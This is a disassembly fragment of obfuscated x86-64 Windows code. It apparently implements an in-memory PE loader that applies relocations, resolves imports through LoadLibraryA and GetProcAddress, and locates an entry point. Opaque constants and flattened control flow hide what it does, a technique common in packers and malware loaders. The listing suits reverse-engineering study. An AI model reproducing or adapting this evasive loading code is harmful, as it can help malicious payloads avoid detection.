and esi, 0x8c318ab9
and r10d, 0xffffffff
or r9d, r11d
or esi, r10d
xor r9d, esi
mov r10d, ecx
xor r10d, 0xffffffff
mov r11d, r9d
and r11d, r10d
xor r9d, 0xffffffff
mov r10d, ecx
and r10d, r9d
or r11d, r10d
xor r11d, 0xffffffff
xor ecx, 0xffffffff
xor r8d, 0xeaf77e7d
or r11d, ecx
or r8d, 0xeaf77e7d
xor r11d, 0xffffffff
and r11d, r8d
mov dword [rbp + 0x74c], r11d
mov ecx, dword [rbp + 0x750]
cmp ecx, 0xa
mov dword [rbp - 0x74], ecx
jl 0x416ab9
mov eax, dword [rbp - 0x74]
cmp eax, 0xa
je 0x416b7d
jmp 0x416c88
mov eax, dword [rbp - 0x74]
cmp eax, 3
jne 0x416c88
xor eax, eax
mov rcx, qword [rbp + 0x790]
mov rdx, qword [rbp + 0x770]
mov r8d, dword [rdx]
sub ecx, 0xf8b7b07a
add ecx, 0x8877ddf0
add ecx, 0xf8b7b07a
add ecx, 0xe7f769fc
add ecx, r8d
sub ecx, 0xe7f769fc
mov r8d, eax
sub r8d, 0x8877ddf0
add ecx, r8d
mov r8d, dword [rbp + 0x74c]
mov r9d, eax
sub r9d, ecx
mov ecx, eax
sub ecx, 0x6d269e7f
add r9d, ecx
sub eax, r9d
add eax, 0x1d0469a9
add eax, r8d
sub eax, 0x1d0469a9
sub eax, 0xeeebfcd5
sub eax, 0x6d269e7f
add eax, 0xeeebfcd5
mov eax, eax
mov edx, eax
mov qword [rbp + 0x740], rdx
mov rdx, qword [rbp + 0x768]
mov r10, qword [rbp + 0x740]
mov eax, dword [r10]
mov ecx, 0x96a25d2
add ecx, 0
sub ecx, edx
sub ecx, 0x96a25d2
sub eax, 0x3afed14e
sub eax, ecx
add eax, 0x3afed14e
mov dword [r10], eax
jmp 0x416c8d
xor eax, eax
mov ecx, eax
mov rdx, qword [rbp + 0x790]
mov r8, qword [rbp + 0x770]
mov eax, dword [r8]
mov r8d, eax
movabs r9, 0x43cef7d24830aa48
sub rdx, r9
movabs r10, 0xd04b17c5bcca692
add rdx, r10
add rdx, r9
movabs r9, 0x7f6bdad249cc3a00
sub rdx, r9
add rdx, r8
add rdx, r9
mov r8, rcx
sub r8, r10
add rdx, r8
mov eax, dword [rbp + 0x74c]
mov r8d, eax
movabs r9, 0xabef67ae2c255e5d
mov r10, rcx
sub r10, r9
sub r10, rdx
add r10, r9
movabs rdx, 0x961c912aa944071f
mov r9, rcx
sub r9, rdx
sub r9, r8
add r9, rdx
mov rdx, rcx
sub rdx, r10
mov r8, rcx
sub r8, r9
add rdx, r8
mov r8, rcx
sub r8, rdx
movabs rdx, 0xc2edb897190e5707
mov r9, rdx
add r9, 0
sub r9, r8
sub r9, rdx
mov qword [rbp + 0x738], r9
mov rdx, qword [rbp + 0x768]
mov r8, qword [rbp + 0x738]
mov r9, qword [r8]
movabs r10, 0x8e71f9bb7a4e2783
sub r9, r10
movabs r11, 0xf0d126d100e6473
add r9, r11
add r9, r10
movabs r10, 0xe97575c8b0a8ce8f
add r9, r10
add r9, rdx
sub r9, r10
sub rcx, r11
add r9, rcx
mov qword [r8], r9
jmp 0x416c8d
jmp 0x416c8d
mov eax, dword [rbp + 0x754]
sub eax, 0xdd44b508
add eax, 0x715074de
add eax, 0xdd44b508
add eax, 0xa7a69430
add eax, 1
sub eax, 0xa7a69430
add eax, 0xd0e83877
sub eax, 0x715074de
sub eax, 0xd0e83877
mov dword [rbp + 0x754], eax
jmp 0x4169cb
jmp 0x416cce
mov rax, qword [rbp + 0x770]
mov rcx, qword [rbp + 0x770]
mov edx, dword [rcx + 4]
mov ecx, edx
add rax, rcx
mov qword [rbp + 0x770], rax
jmp 0x41692a
mov rax, qword [rbp + 0x790]
mov rcx, qword [rbp + 0x798]
mov edx, dword [rcx + 0x90]
mov ecx, edx
add rax, rcx
mov qword [rbp + 0x730], rax
mov rax, qword [rbp + 0x730]
cmp dword [rax + 0xc], 0
je 0x4170a5
mov rax, qword [rbp + 0x790]
mov rcx, qword [rbp + 0x730]
mov edx, dword [rcx + 0xc]
mov ecx, edx
add rax, rcx
mov qword [rbp + 0x728], rax
mov rcx, qword [rbp + 0x728]
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
add rsp, 0x20
mov qword [rbp + 0x720], rax
mov rax, qword [rbp + 0x790]
mov rcx, qword [rbp + 0x730]
mov edx, dword [rcx]
mov ecx, edx
add rax, rcx
mov qword [rbp + 0x718], rax
mov rax, qword [rbp + 0x790]
mov rcx, qword [rbp + 0x730]
mov edx, dword [rcx + 0x10]
mov ecx, edx
add rax, rcx
mov qword [rbp + 0x710], rax
mov rax, qword [rbp + 0x718]
cmp qword [rax], 0
je 0x41708c
mov rax, qword [rbp + 0x718]
mov rax, qword [rax]
movabs rcx, 0x8000000000000000
mov rdx, 0xffffffffffffffff
mov r8, rdx
xor r8, rcx
movabs r9, 0xbc82eb595d222af2
and r8, r9
mov r10, rdx
xor r10, r9
mov r11, r10
and r11, rcx
xor rdx, 0xffffffffffffffff
and rdx, r9
and r10, 0xffffffffffffffff
or r8, r11
or rdx, r10
xor r8, rdx
mov rcx, rax
xor rcx, 0xffffffffffffffff
mov rdx, r8
and rdx, rcx
xor r8, 0xffffffffffffffff
mov rcx, rax
and rcx, r8
or rdx, rcx
xor rax, 0xffffffffffffffff
mov rcx, rdx
xor rcx, rax
and rcx, rdx
cmp rcx, 0
je 0x416fff
mov rax, qword [rbp + 0x718]
mov rax, qword [rax]
mov rcx, rax
xor rcx, 0xffffffffffffffff
and rcx, 0xffffffffffffffff
mov rdx, 0xffffffffffffffff
mov r8, rdx
xor r8, 0xffffffffffffffff
and rax, r8
or rcx, rax
mov rax, rdx
xor rax, 0xffff
movabs r8, 0xba186411788d9e8a
and rax, r8
mov r9, rdx
xor r9, r8
mov r10, r9
and r10, 0xffff
mov r11, rdx
xor r11, 0xffffffffffffffff
and r11, r8
and r9, 0xffffffffffffffff
or rax, r10
or r11, r9
xor rax, r11
movabs r8, 0x8343a1403fa803ba
mov r9, rdx
xor r9, r8
movabs r10, 0xe1faccf06cc9f657
and r9, r10
mov r11, rdx
xor r11, r10
mov rsi, r11
and rsi, r8
mov rdi, rdx
xor rdi, 0xffffffffffffffff
and rdi, r10
and r11, 0xffffffffffffffff
or r9, rsi
or rdi, r11
xor r9, rdi
mov r10, rcx
xor r10, 0xffffffffffffffff
mov r11, rax
xor r11, 0xffffffffffffffff
movabs rsi, 0x8e3150416cbdd8df
mov rdi, rdx
xor rdi, rsi
mov rbx, r10
and rbx, rsi
and rcx, rdi
mov r14, r11
and r14, rsi
and rax, rdi
or rbx, rcx
or r14, rax
xor rbx, r14
or r10, r11
xor r10, 0xffffffffffffffff
or rdi, rsi
and r10, rdi
or rbx, r10
mov rax, rdx
xor rax, r8
mov rcx, r9
xor rcx, 0xffffffffffffffff
movabs r10, 0x14b5ee34afd4c82e
mov r11, rdx
xor r11, r10
mov rsi, rax
and rsi, r10
mov rdi, r11
and rdi, r8
mov r8, rcx
and r8, r10
and r9, r11
or rsi, rdi
or r8, r9
xor rsi, r8
or rax, rcx
xor rax, 0xffffffffffffffff
or r11, r10
and rax, r11
or rsi, rax
mov rax, rbx
xor rax, 0xffffffffffffffff
movabs rcx, 0x2456239dfb445cb4
and rax, rcx
mov r8, rdx
xor r8, rcx
and rbx, r8
mov r9, rdx
xor r9, 0xffffffffffffffff
and r9, rcx
and r8, 0xffffffffffffffff
or rax, rbx
or r9, r8
xor rax, r9
xor rax, 0xffffffffffffffff
xor rsi, 0xffffffffffffffff
movabs rcx, 0xad8ba2796adb31af
xor rdx, rcx
or rax, rsi
or rdx, rcx
xor rax, 0xffffffffffffffff
and rax, rdx
mov qword [rbp + 0x708], rax
jmp 0x41702b
mov rax, qword [rbp + 0x790]
mov rcx, qword [rbp + 0x718]
add rax, qword [rcx]
mov qword [rbp + 0x700], rax
mov rax, qword [rbp + 0x700]
add rax, 2
mov qword [rbp + 0x708], rax
mov rcx, qword [rbp + 0x720]
mov rdx, qword [rbp + 0x708]
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
add rsp, 0x20
mov qword [rbp + 0x6f8], rax
mov rax, qword [rbp + 0x6f8]
mov rcx, qword [rbp + 0x710]
mov qword [rcx], rax
mov rax, qword [rbp + 0x718]
add rax, 8
mov qword [rbp + 0x718], rax
mov rax, qword [rbp + 0x710]
add rax, 8
mov qword [rbp + 0x710], rax
jmp 0x416d93
mov rax, qword [rbp + 0x730]
add rax, 0x14
mov qword [rbp + 0x730], rax
jmp 0x416d10
mov rax, qword [rbp + 0x790]
mov rcx, qword [rbp + 0x798]
mov edx, dword [rcx + 0x28]
mov ecx, edx
add rax, rcx
mov rcx, qword [rbp + 0x230]
mov qword [rcx], rax
mov rax, qword [rbp + 0x230]
mov dword [rbp + 0x1e8], 0xfa589302
jmp 0x417ccc
mov dword [rbp + 0x1e8], 0xbe3572fe
jmp 0x417ccc
mov rax, qword [rbp + 0x208]
mov dword [rax], 0x14
mov rax, qword [rbp + 0x210]
mov qword [rbp + 0x2c0], rax
lea rax, [0x0041a010]
mov qword [rbp + 0x2b8], rax
mov qword [rbp + 0x2b0], 4
mov rax, qword [rbp + 0x2c0]
mov qword [rbp + 0x2a8], rax
mov rax, qword [rbp + 0x2b8]
mov qword [rbp + 0x2a0], rax
xor eax, eax
mov ecx, eax
mov rdx, qword [rbp + 0x2b0]
mov r8, rcx
sub r8, rdx
add r8, 0
movabs r9, 0x900e0c9b1e2bdf54
mov r10, rcx
sub r10, r9
sub r10, 0xffffffffffffffff
add r10, r9
movabs r9, 0xb297beb318d24bc3
sub r8, r9
add r8, r10
add r8, r9
movabs r9, 0xfc8d0ea28e97a734
sub rcx, r9
sub rcx, r8
add rcx, r9
mov qword [rbp + 0x2b0], rcx
cmp rdx, 0
je 0x417c90
mov rax, qword [rbp + 0x2a0]
mov rcx, rax
add rcx, 1
mov qword [rbp + 0x2a0], rcx
mov dl, byte [rax]
mov rax, qword [rbp + 0x2a8]
mov rcx, rax
add rcx, 1
mov qword [rbp + 0x2a8], rcx
mov byte [rax], dl
jmp 0x417bee
lea rax, [0x0041a010]
add rax, 4
mov rcx, qword [rbp + 0x218]
mov qword [rcx], rax
mov dword [rbp + 0x1e8], 0x8e5aaa5
jmp 0x417ccc
jmp 0x4015e7